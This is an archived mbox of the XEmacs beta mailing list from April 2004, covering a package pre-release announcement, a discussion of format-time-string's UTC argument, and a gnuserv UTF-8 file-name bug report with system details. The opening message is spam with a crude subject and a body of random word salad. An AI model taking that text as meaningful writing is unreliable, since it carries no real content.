From TBEGAPXIOVR@blackhills.com Thu Apr 1 00:05:25 2004 Received: from c-24-17-192-63.client.comcast.net (c-24-17-192-63.client.comcast.net [24.17.192.63]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3155Ns12064 for ; Thu, 1 Apr 2004 00:05:24 -0500 Received: from 24.84.169.76 by 24.17.192.63; Thu, 01 Apr 2004 07:56:23 +0300 Message-ID: From: "Martha Friend" Reply-To: "Martha Friend" To: xemacs-beta-archive@xemacs.org Subject: Re:Get a tree trunk between your legs Date: Thu, 01 Apr 2004 02:56:23 -0200 X-Mailer: Microsoft Outlook Express 5.00.2919.6700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--39400207331183148" X-Priority: 3 X-MSMail-Priority: Normal ----39400207331183148 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable


If the message is n ot loading
try this=


Ppion attract breakfast sud circle curvilinear accessory esplanade ban= gui nora churchill exposure alga allocate=20,Iconsumptive archery sublimin= al preposterous sus aura holloway newel chortle alveolus brindisi sidetrac= k pickle protoplasm=20,Gdally borough delouse doneck amra athwart lebanese= softwood asynchronous strengthen aides almagest baldpate nevada buxtehude= instantiate autocorrelate follow kimball precursor genealogy=20.Lbuzzer c= oat i've hysteria ace concession schaefer fm baptistery classmate sewerage= mimetic volley consumption boise that'll depreciate valuate cowherd=20?Sv= eneto aboveboard proffer obtain grimace provincial agrarian transgress rac= k droop anselmo calgary commission bang deer desicate quipping cradle rhym= e ingenuous import=20.Pcull aptitude persecute layton pickerel clapboard c= aleb auctioneer crupper ta francine crematory eggshell dionysian gesture b= last covenant baptist disciplinarian guelph faithful rang divide antagonis= tic lombardy=20;Lsouthampton steer meteorology money corrector paternoster= sanction thyratron hiram brant handleable mush warmonger calculi sinus co= ffin destinate view downwind kickback godsend louver perspicuity tilde ass= ay clothesman precise celebrant=20,Acosponsor arabic darwin sofa teem stir= rup progress definition demodulate monstrosity parent comptroller receptio= n batten acculturate chromatogram hew keyhole=20;Ltrifluouride aware hinte= rland plasm clubroom cutthroat referee antelope axis slavery unimodal stan= dby complete luxe point bogota gland over casein bostonian luzon autism da= rling stephanie=20.Xincongruity collectible catnip precision bhoy cocklebu= r madhouse hulk menarche checkerberry nimh limb arsenic oath bud millionai= re diathermy riemannian intention gwyn malaria workmanlike entrepreneur sk= i assyriology=20'Eclimate anhydride eagan carlyle calculate basketball aze= rbaijan mantel=20? Potiose arisen dolly leeds caviness monticello brisbane= bullet database sketchbook commandeer grendel lebanon capital levin count= erintuitive hare stupefaction scant frostbite javelin thymus magnificent c= ollie crane cox blond bandpass appetite=20,Thallelujah deign synoptic cond= ominium objectivity codpiece trench cashmere inevitable colonial=20.Odiscr= iminant convolution lenten benedict tide sideway rototill deem augustan ab= solute despise slut dougherty divisible wordy rout bullyboy carbone utopia= n bog end bath depressible=20?Kshaggy scenery minima shawnee purr horsepla= y boot chub pinhole work woodcock metro plucky bimetallic audiovisual what= 'd firearm toy thunderflower=20,Wchunky penates machination fierce wakefie= ld deregulatory diplomat wisconsin cloth asiatic luxe bernstein bodybuild = cavilling cobweb deus canada boggle dissuade peel nomad ti aniseikonic bog= ota=20.Gdayton abstractor appear tarnish monotreme whitaker gaslight lette= rman inflicter fiance fitch occlude cackle=20.Hsse fredericksburg n's cow = mankind accuse junction oppression ethane decadent foxy pickering accessor= y runabout propulsion calve letterman saltwater jeffersonian ample cominfo= rm actress=20.Mdote arrival expulsion congressmen giveth nuance uplift por= tend sousa friday boredom alyssum lying coarsen creed=20?Gsnip cassius ben= thic goes solemnity minefield libreville emblematic cartoon maseru jacobus= evolution bacchus archibald dive=20'Amcdowell submitting limestone talk s= quire attitudinal delegable bucharest songbag academia coltish diamagnetic= abstention cameroun depletion discreet dogwood etch desultory colonel lif= e gouge=20;Kcountry switzer mimesis adhesive persona chatham houdaille cha= ncy jericho collude duty ascomycetes oakwood corbel steely nil teakettle c= asserole delegable contrition tritium volcano o'leary herpes adagio collap= sible chrysolite prime abutting=20'Zinformal quiver quibble sorrowful insa= ne barrow scorecard testicular misogynist csnet enjoinder librettist portr= aiture=20,Aboycott morass burley decorticate twombly portrayal bush crisis= nostalgic knudsen cheerleader=20!Xconflict labile lass nimbus centum bund= estag cedric muff pollution abdomen btl rabbit army bruise chloride windmi= ll prefabricate seedling certain countrywide remunerate tactile advertise = chocolate curl transferred hybrid chock=20'Talabaster delicti crosshatch v= end chlorate equivocate digitate bates cozy cosmos grain ipso hackett knee= l absentia configuration thickish blackout volvo would chipmunk cuckoo pha= rmaceutic novak path empiric vengeance=20.Zdividend upright parentheses ai= leron spooky vast excretion embeddable mend cede polyhedral gantlet elicit= lexicon proven riggs footage perjure stockholder boletus altair shepard c= oed kenney warplane buy drawl titanium=20.

----39400207331183148-- From xemacs-beta-admin@xemacs.org Thu Apr 1 01:48:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i316m3s23969; Thu, 1 Apr 2004 01:48:03 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i316lKa23787 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 01:47:20 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i316lJI23770 for turnbull@tux.org; Thu, 1 Apr 2004 01:47:19 -0500 Received: from mail.LF.net (mail.LF.net [212.9.160.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i316lIs23765 for ; Thu, 1 Apr 2004 01:47:19 -0500 Received: from pd95e6611.dip.t-dialin.net ([217.94.102.17] helo=redqueen.ath.cx) by mail.LF.net with esmtp (Exim 4.22) id 1B8vyv-0004QV-UC for xemacs-beta@xemacs.org; Thu, 01 Apr 2004 08:47:18 +0200 Received: from nk by redqueen.ath.cx with local (Exim 4.22) id 1B8vyv-000Jgo-GT for xemacs-beta@xemacs.org; Thu, 01 Apr 2004 08:47:17 +0200 To: xemacs-beta@xemacs.org Subject: XEmacs Packages have been pre-released (2004-04-01-08) From: Norbert Koch X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org Date: Thu, 01 Apr 2004 08:47:17 +0200 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey there everyone. I have just added the following packages to the 'Pre-Releases' directory: New Packages in Pre-Release: =========================== net-utils-1.41-pkg.tar.gz upstream version: N/A Previously Announced Packages Still in Pre-Release: ================================================== c-support-1.20-pkg.tar.gz upstream version: none ecb-1.17-pkg.tar.gz upstream version: 2.21 ecrypto-0.17-pkg.tar.gz upstream version: 2.0 ediff-1.50-pkg.tar.gz upstream version: 2.75 erc-0.08-pkg.tar.gz upstream version: Version 4.0 Revision: 1.640 escreen-1.01-pkg.tar.gz upstream version: 1.16 fortran-modes-1.04-pkg.tar.gz upstream version: none hyperbole-1.15-pkg.tar.gz upstream version: 4.18 mmm-mode-1.02-pkg.tar.gz upstream version: 0.4.7 prog-modes-1.96-pkg.tar.gz upstream version: none ps-print-1.10-pkg.tar.gz upstream version: 6.5.6 python-modes-1.05-pkg.tar.gz upstream version: none reftex-1.34-pkg.tar.gz upstream version: 4.21 vhdl-1.19-pkg.tar.gz upstream version: 3.32.20 x-symbol-1.10-pkg.tar.gz upstream version: 4.5.1 xemacs-base-1.86-pkg.tar.gz upstream version: none xemacs-devel-1.62-pkg.tar.gz upstream version: none xlib-1.08-pkg.tar.gz upstream version: 0.1 xwem-1.08-pkg.tar.gz upstream version: 0.1 Detailed Changes: ================ - ------- ChangeLog Entries from xemacs-packages/net-utils/ChangeLog ------- 2004-04-01 Norbert Koch * Makefile (VERSION): XEmacs package 1.41 released. 2004-04-01 Steve Youngs * Makefile (REQUIRES): Add mh-e, mew. * mozmail.el (mozmail-default-mua): New. (mozmail-populate-headers): New. (mozmail-compose-vm): New. From Jeff Nye (mozmail-compose-mhe): New. (mozmail-compose-mew): New. (mozmail-compose-emacs): New. (mozmail-compose-rmail): New. (mozmail): Use `mozmail-compose' instead of `mozmail-compose-gnus'. Update the file's commentary section. 2004-03-31 Steve Youngs * mozmail.el (mozmail): New custom group. (mozmail-gnus-is-plugged): New. (mozmail-compose-gnus): Use it. Installing These: ================ Manually: - -------- 1) Download the packages that you want to install from: /ftp.xemacs.org:/pub/xemacs/beta/experimental/packages/ 2) Unpack them to: [1] /usr/local/lib/xemacs/xemacs-packages/ 3) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.[245].x): - ---------------------------------------------- 1) Tools -> Packages -> Add Download Site -> Pre-Releases 2) Tools -> Packages -> List and Install 3) Select the packages you wish to install (there are brief instructions at the bottom of the packages buffer). 4) Packages -> Install/Remove Selected 5) Re-start XEmacs. Using XEmacs Package Tools (XEmacs 21.1.14): - ------------------------------------------- 1) Options -> Manage Packages -> Add Download Site -> Pre-Releases 2) Options -> Manage Packages -> List and Install 3 - 5) As per XEmacs 21.[245].x. norbert - XEmacs Package Release Manager. Footnotes: [1] Note: Mule packages should be installed into: /usr/local/lib/xemacs/mule-packages/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD8DBQFAa7r1gu3ywdHdhM0RAlCpAKC8ulwneSmSqEwXnXSiLxbaKXhk/wCgm6zX 0ZitbT3HfjbVSDcgd1qO2zo= =kXJq -----END PGP SIGNATURE----- From xemacs-beta-admin@xemacs.org Thu Apr 1 01:59:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i316x2s26027; Thu, 1 Apr 2004 01:59:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i316wNs25916 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 01:58:23 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i316wLr25900 for turnbull@tux.org; Thu, 1 Apr 2004 01:58:22 -0500 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i316wLs25895 for ; Thu, 1 Apr 2004 01:58:21 -0500 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1B8w9c-0006jx-00 for ; Thu, 01 Apr 2004 08:58:20 +0200 Received: from a110t7.elisa.omakaista.fi ([81.197.3.110]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 01 Apr 2004 08:58:20 +0200 Received: from jari.aalto by a110t7.elisa.omakaista.fi with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 01 Apr 2004 08:58:20 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Jari Aalto Subject: Re: format-time-string in Emacs accepts 3rd parameter UTC Date: Thu, 01 Apr 2004 09:09:35 +0200 Organization: Private Lines: 30 Message-ID: <1xn8i380.fsf@blue.sea.net> References: <4qsc13m1.fsf@blue.sea.net> <87smfwdp8h.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: a110t7.elisa.omakaista.fi User-Agent: Gnus/5.110002 (No Gnus v0.2) Emacs/21.3 (windows-nt) (i386-msvc-nt5.0.2195) Cancel-Lock: sha1:xx9/MnxMI8RVY/ZkLkpwYWraj6o= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , * Fri 2004-03-26 Stephen Turnbull xemacs.org> gmane.emacs.xemacs.beta | >>>>> "Jari" == Jari Aalto poboxes.com> writes: | | Jari> Could 3rd argument be added? See this: | | What does it do? If set, it returns the time in UTC / GMT, instead of local time. format-time-string is a built-in function. (format-time-string FORMAT-STRING &optional TIME UNIVERSAL) Use FORMAT-STRING to format the time TIME, or now if omitted. TIME is specified as (HIGH LOW . IGNORED) or (HIGH . LOW), as returned by `current-time' or `file-attributes'. The third, optional, argument UNIVERSAL, if non-nil, means describe TIME as Universal Time; nil means describe TIME in the local time zone. The value is a copy of FORMAT-STRING, but with certain constructs replaced by text that describes the specified date and time in TIME: Jari -- http://tiny-tools.sourceforge.net/ Swatch @time http://www.mir.com.my/iTime/itime.htm http://www.ryanthiessen.com/swatch/resources.htm Use Licenses! http://www.linuxjournal.com/article.php?sid=6225 Which Licence? http://www.linuxjournal.com/article.php?sid=4825 OSI Licences http://www.opensource.org/licenses/ From xemacs-beta-admin@xemacs.org Thu Apr 1 02:51:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i317p1s05071; Thu, 1 Apr 2004 02:51:01 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i317o8Q04912 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 02:50:08 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i317o7X04903 for turnbull@tux.org; Thu, 1 Apr 2004 02:50:07 -0500 Received: from gizmo01ps.bigpond.com (gizmo01ps.bigpond.com [144.140.71.11]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i317o6s04891 for ; Thu, 1 Apr 2004 02:50:06 -0500 Received: (qmail 15337 invoked from network); 1 Apr 2004 06:40:51 -0000 Received: from unknown (HELO psmam01.bigpond.com) (144.135.25.69) by gizmo01ps.bigpond.com with SMTP; 1 Apr 2004 06:40:51 -0000 Received: from cpe-138-130-242-79.qld.bigpond.net.au ([138.130.242.79]) by psmam01.bigpond.com(MAM REL_3_4_2 71/12418907) with SMTP id 12418907; Thu, 01 Apr 2004 17:50:02 +1000 Received: (from steve@localhost) by eicq.dnsalias.org (8.12.9/8.12.9) id i317lkJF014041; Thu, 1 Apr 2004 17:47:46 +1000 Mail-Copies-To: never To: xemacs-beta@xemacs.org Subject: Re: XEmacs Packages have been pre-released (2004-04-01-08) References: From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Attribution: SY Mail-Followup-To: xemacs-beta@xemacs.org Date: Thu, 01 Apr 2004 17:47:44 +1000 In-Reply-To: (Norbert Koch's message of "Thu, 01 Apr 2004 08:47:17 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Norbert Koch writes: > New Packages in Pre-Release: > =========================== > net-utils-1.41-pkg.tar.gz upstream version: N/A Sorry Norbert, there'll be another commit to net-utils shortly. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |---------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkBrySIACgkQHSfbS6lLMAN7fQCgscSPCBweMSMOkVM9n8wkOEEg LQUAn1Xs/9aGLc15qz2S2AhkC4haeiNb =k7Yy -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Thu Apr 1 02:59:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i317x2s06698; Thu, 1 Apr 2004 02:59:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i317w4806404 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 02:58:04 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i317w3I06394 for turnbull@tux.org; Thu, 1 Apr 2004 02:58:03 -0500 Received: from mail.LF.net (mail.LF.net [212.9.160.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i317w2s06387 for ; Thu, 1 Apr 2004 02:58:03 -0500 Received: from pd95e6611.dip.t-dialin.net ([217.94.102.17] helo=redqueen.ath.cx) by mail.LF.net with esmtp (Exim 4.22) id 1B8x5O-000MZz-0t for xemacs-beta@xemacs.org; Thu, 01 Apr 2004 09:58:02 +0200 Received: from nk by redqueen.ath.cx with local (Exim 4.22) id 1B8x5N-000O21-El for xemacs-beta@xemacs.org; Thu, 01 Apr 2004 09:58:01 +0200 To: xemacs-beta@xemacs.org Subject: Re: XEmacs Packages have been pre-released (2004-04-01-08) References: From: Norbert Koch X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: xemacs-beta@xemacs.org Date: Thu, 01 Apr 2004 09:58:01 +0200 In-Reply-To: (Steve Youngs's message of "Thu, 01 Apr 2004 17:47:44 +1000") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Steve Youngs writes: > Sorry Norbert, there'll be another commit to net-utils shortly. Yeah, I saw the discussion. No prob. norbert. From xemacs-beta-admin@xemacs.org Thu Apr 1 04:01:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i31912s20785; Thu, 1 Apr 2004 04:01:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3190PE20287 for xemacs-beta-mailman@xemacs.org; Thu, 1 Apr 2004 04:00:25 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3190J320208 for turnbull@tux.org; Thu, 1 Apr 2004 04:00:19 -0500 Received: from hera.cwi.nl (hera.cwi.nl [192.16.191.8]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i318wxs19723 for ; Thu, 1 Apr 2004 03:58:59 -0500 Received: from polaris.ins.cwi.nl (polaris.ins.cwi.nl [192.16.196.19]) by hera.cwi.nl with ESMTP id i318wwbI018890 for ; Thu, 1 Apr 2004 10:58:59 +0200 (MEST) Received: from indus.ins.cwi.nl (indus.ins.cwi.nl [192.16.196.200]) by polaris.ins.cwi.nl (Postfix) with ESMTP id 990231B5786 for ; Thu, 1 Apr 2004 10:58:58 +0200 (CEST) Received: from acm.org (localhost [127.0.0.1]) by indus.ins.cwi.nl (Postfix) with ESMTP id 2A573741F7 for ; Thu, 1 Apr 2004 10:58:58 +0200 (CEST) Message-ID: <406BD9D1.9010004@acm.org> Date: Thu, 01 Apr 2004 10:58:57 +0200 From: Sjoerd Mullender User-Agent: Mozilla Thunderbird 0.5 (X11/20040208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: XEmacs Beta Subject: [Bug: 21.4.12] gnuserv/gnuclient mess up UTF-8 X-Enigmail-Version: 0.83.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Dear Bug Team! XEmacs with gnuserv can't open files with UTF-8 encoded file names using gnuclient. Start "xemacs -q", and inside XEmacs type M-x gnuserv-start RET. In a shell window type "gnuclient ". XEmacs will open a new file. The UTF-8 encoded characters have suddenly become the equivalent Latin-1 characters. A system call trace shows that gnuclient sends the correct byte sequence and XEmacs reads the correct byte sequence. However, all file operations that XEmacs then does are with an incorrect byte sequence as file name argument. XEmacs has no problems opening the files from withing XEmacs, i.e. using find-file (C-X C-F). I have also tried this (actually, that's how I usually run XEmacs) with this in my init.el: (require 'un-define) (require 'mule-ucs-unicode "unicode") (setq default-buffer-file-coding-system 'utf-8) (set-coding-category-system 'utf-8 'utf-8) (set-coding-priority-list '(utf-8)) On a newer version (21.4.14) it also doesn't work. ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux porky.devel.redhat.com 2.4.20-2.48bigmem #1 SMP Thu Feb 13 11:31:10 EST 2003 i686 i686 i386 GNU/Linux ./configure 'i386-redhat-linux-gnu' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--datadir=/usr/share' '--libdir=/usr/lib' '--mandir=/usr/share/man/man1' '--infodir=/usr/share/info' '--with-gpm=no' '--with-sound=native' '--with-pop' '--mail-locking=lockf' '--with-clash-detection' '--debug=no' '--error-checking=none' '--with-mule=yes' '--with-database=berkdb' '--with-ldap=yes' '--with-hesiod=no' '--with-canna=yes' '--with-wnn=yes' '--with-widgets=motif' '--with-menubars=lucid' '--with-scrollbars=lucid' '--with-dialogs=motif' '--with-xim=xlib' '--with-msw=no' '--with-xfs=yes' '--pdump' XEmacs 21.4.12 "Portable Code" configured for `i386-redhat-linux'. Compilation / Installation: Source code location: /usr/src/build/225655-i386/BUILD/xemacs-21.4.12 Installation prefix: /usr Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler: gcc -O2 -march=i386 -mcpu=i686 -g Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Using Lucid menubars. Using Lucid scrollbars. Using Motif dialog boxes. Using Motif native widgets. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Compiling in support for sound (native). Databases: Compiling in support for Berkeley database. Compiling in support for LDAP. Compiling in support for PostgreSQL. - Using PostgreSQL header file: libpq-fe.h - Using PostgreSQL V7 bindings. Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. - Using XFontSet to provide bilingual menubar. Compiling in support for Canna on Mule. Compiling in support for the WNN input method on Mule. Mail: Compiling in support for POP mail retrieval. Compiling in support for "lockf" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Load-Path Lisp Shadows: ---------------------- (/usr/share/xemacs/xemacs-packages/lisp/apel/std11 /usr/share/xemacs/xemacs-packages/lisp/flim/std11 /usr/share/xemacs/xemacs-packages/lisp/ecrypto/sha1 /usr/share/xemacs/xemacs-packages/lisp/flim/sha1 /usr/share/xemacs/xemacs-packages/lisp/ecrypto/sha1-el /usr/share/xemacs/xemacs-packages/lisp/flim/sha1-el /usr/share/xemacs/xemacs-packages/lisp/ecrypto/md5 /usr/share/xemacs/xemacs-packages/lisp/flim/md5 /usr/share/xemacs/xemacs-packages/lisp/ecrypto/md4 /usr/share/xemacs/xemacs-packages/lisp/flim/md4 /usr/share/xemacs/xemacs-packages/lisp/ecrypto/hex-util /usr/share/xemacs/xemacs-packages/lisp/flim/hex-util /usr/share/xemacs/xemacs-packages/lisp/flim/smtpmail /usr/share/xemacs/xemacs-packages/lisp/mail-lib/smtpmail /usr/share/xemacs/site-packages/lisp/mew/mew /usr/share/xemacs/xemacs-packages/lisp/mew/mew /usr/share/xemacs/site-packages/lisp/mew/mew-xemacs /usr/share/xemacs/xemacs-packages/lisp/mew/mew-xemacs /usr/share/xemacs/site-packages/lisp/mew/mew-win32 /usr/share/xemacs/xemacs-packages/lisp/mew/mew-win32 /usr/share/xemacs/site-packages/lisp/mew/mew-virtual /usr/share/xemacs/xemacs-packages/lisp/mew/mew-virtual /usr/share/xemacs/site-packages/lisp/mew/mew-vars /usr/share/xemacs/xemacs-packages/lisp/mew/mew-vars /usr/share/xemacs/site-packages/lisp/mew/mew-unix /usr/share/xemacs/xemacs-packages/lisp/mew/mew-unix /usr/share/xemacs/site-packages/lisp/mew/mew-temacs /usr/share/xemacs/xemacs-packages/lisp/mew/mew-temacs /usr/share/xemacs/site-packages/lisp/mew/mew-syntax /usr/share/xemacs/xemacs-packages/lisp/mew/mew-syntax /usr/share/xemacs/site-packages/lisp/mew/mew-summary /usr/share/xemacs/xemacs-packages/lisp/mew/mew-summary /usr/share/xemacs/site-packages/lisp/mew/mew-sort /usr/share/xemacs/xemacs-packages/lisp/mew/mew-sort /usr/share/xemacs/site-packages/lisp/mew/mew-scan /usr/share/xemacs/xemacs-packages/lisp/mew/mew-scan /usr/share/xemacs/site-packages/lisp/mew/mew-refile /usr/share/xemacs/xemacs-packages/lisp/mew/mew-refile /usr/share/xemacs/site-packages/lisp/mew/mew-pick /usr/share/xemacs/xemacs-packages/lisp/mew/mew-pick /usr/share/xemacs/site-packages/lisp/mew/mew-pgp /usr/share/xemacs/xemacs-packages/lisp/mew/mew-pgp /usr/share/xemacs/site-packages/lisp/mew/mew-mule3 /usr/share/xemacs/xemacs-packages/lisp/mew/mew-mule3 /usr/share/xemacs/site-packages/lisp/mew/mew-mule0 /usr/share/xemacs/xemacs-packages/lisp/mew/mew-mule0 /usr/share/xemacs/site-packages/lisp/mew/mew-mule /usr/share/xemacs/xemacs-packages/lisp/mew/mew-mule /usr/share/xemacs/site-packages/lisp/mew/mew-minibuf /usr/share/xemacs/xemacs-packages/lisp/mew/mew-minibuf /usr/share/xemacs/site-packages/lisp/mew/mew-mime /usr/share/xemacs/xemacs-packages/lisp/mew/mew-mime /usr/share/xemacs/site-packages/lisp/mew/mew-message /usr/share/xemacs/xemacs-packages/lisp/mew/mew-message /usr/share/xemacs/site-packages/lisp/mew/mew-mark /usr/share/xemacs/xemacs-packages/lisp/mew/mew-mark /usr/share/xemacs/site-packages/lisp/mew/mew-lang-jp /usr/share/xemacs/xemacs-packages/lisp/mew/mew-lang-jp /usr/share/xemacs/site-packages/lisp/mew/mew-highlight /usr/share/xemacs/xemacs-packages/lisp/mew/mew-highlight /usr/share/xemacs/site-packages/lisp/mew/mew-header /usr/share/xemacs/xemacs-packages/lisp/mew/mew-header /usr/share/xemacs/site-packages/lisp/mew/mew-func /usr/share/xemacs/xemacs-packages/lisp/mew/mew-func /usr/share/xemacs/site-packages/lisp/mew/mew-fib /usr/share/xemacs/xemacs-packages/lisp/mew/mew-fib /usr/share/xemacs/site-packages/lisp/mew/mew-ext /usr/share/xemacs/xemacs-packages/lisp/mew/mew-ext 